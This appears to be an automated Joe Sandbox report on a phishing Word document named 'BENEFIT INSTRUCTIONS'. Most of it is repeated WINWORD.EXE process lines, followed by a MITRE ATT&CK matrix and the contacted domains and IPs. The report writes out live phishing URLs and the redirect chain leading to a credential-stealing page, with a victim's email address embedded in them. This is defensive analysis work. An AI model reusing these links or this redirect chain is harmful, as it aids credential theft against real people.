Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Web Protocols	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://login.windows.net	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	unknown
hr.queenmobile.net	104.21.85.152	true	true	unknown
www.top50-solar.de	217.160.0.215	true	false	unknown
saloneliteco.com	203.170.84.122	true	true	unknown
d2vgu95hoyrpkh.cloudfront.net	18.245.31.89	true	false	unknown
cs837.wac.edgecastcdn.net	192.229.133.221	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
coupons.digidip.net	18.185.206.162	true	true	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	142.250.186.100	true	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
www.w3schools.com	unknown	unknown	false	unknown
cdn.socket.io	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css	false		unknown
https://hr.queenmobile.net/l.php?url=https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N	false		unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	false		unknown
https://www.top50-solar.de/newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83	false		unknown
https://www.w3schools.com/w3css/4/w3.css	false		unknown
https://saloneliteco.com/n/jsdrive.js	false		unknown
https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N#MICHELLES@AGEECONSTRUCTION.COM	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://saloneliteco.com/favicon.ico	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2	false		unknown
https://cdn.socket.io/4.7.5/socket.io.min.js	false		unknown
https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N	false		unknown
https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.windows.net	App1729289629779663100_4907985C-C5CF-4CB5-9F9A-88902AC491DA.log.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
203.170.84.122	saloneliteco.com	Australia	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.31.33	unknown	United States	16509	AMAZON-02US	false
217.160.0.215	www.top50-solar.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
104.21.85.152	hr.queenmobile.net	United States	13335	CLOUDFLARENETUS	true
18.185.206.162	coupons.digidip.net	United States	16509	AMAZON-02US	true
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.245.31.89	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
192.229.133.221	cs837.wac.edgecastcdn.net	United States	15133	EDGECASTUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.6
192.168.2.5
192.168.2.10

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537439
Start date and time:	2024-10-19 00:12:50 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx
Detection:	MAL
Classification:	mal76.phis.winDOCX@22/276@26/18
Cookbook Comments:	Found application associated with file extension: .docx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, Runtimeuserer.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.113.194.132, 184.28.90.27, 199.232.210.172, 40.79.141.152, 52.109.32.39, 52.109.32.47, 52.109.32.38, 52.109.32.46, 95.101.111.168, 95.101.111.179, 88.221.110.227, 88.221.110.138, 216.58.206.35, 142.250.185.206, 64.233.184.84, 34.104.35.123, 52.109.32.7, 142.250.186.42, 142.250.185.170, 142.250.185.234, 142.250.74.202, 216.58.206.42, 142.250.186.74, 142.250.184.202, 142.250.185.74, 142.250.181.234, 142.250.185.106, 142.250.185.202, 142.250.186.170, 142.250.186.138, 172.217.18.10, 142.250.185.138, 142.250.184.234, 142.250.185.195, 142.250.185.227, 52.109.76.243, 52.109.89.19, 142.250.186.35, 52.109.28.47, 172.217.16.206
Excluded domains from analysis (whitelisted): lgincdnmsftuswe2.azureedge.net, slscr.update.microsoft.com, weu-azsc-000.roaming.officeapps.live.com, clientservices.googleapis.com, weu-azsc-config.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, a1847.dscg2.akamai.net, onedscolprdfrc03.francecentral.cloudapp.azure.com, clients2.google.com, login.live.com, e16604.g.akamaiedge.net, update.googleapis.com, officeclient.microsoft.com, www.gstatic.com, ecs.office.com, fs.microsoft.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, aadcdn.msauth.net, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, nleditor.osi.office.net, uks-azsc-000.roaming.officeapps.live.com, edgedl.me.gvt1.com, s-0005.s-msedge.net, osiprod-neu-buff-azsc-000.northeurope.cloudapp.azure.com, aadcdnoriginwus2.afd.azureedge.net, metadata.templates.cdn.office.net, ecs.office.trafficmanager.net, clients.l.google.com, europe.configsvc1.live.com.akadns.net, logincdn.msauth.net, binaries.templates.cdn.office
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx

Source	URL
Screenshot	https://www.top50-solar.de/newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83#MICHELLES@AGEECONSTRUCTION.COM
Screenshot	https://www.top50-solar.de/newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83#MICHELLES@AGEECONSTRUCTION.COM
Screenshot	https://www.top50-solar.de/newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83#MICHELLES@AGEECONSTRUCTION.COM

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
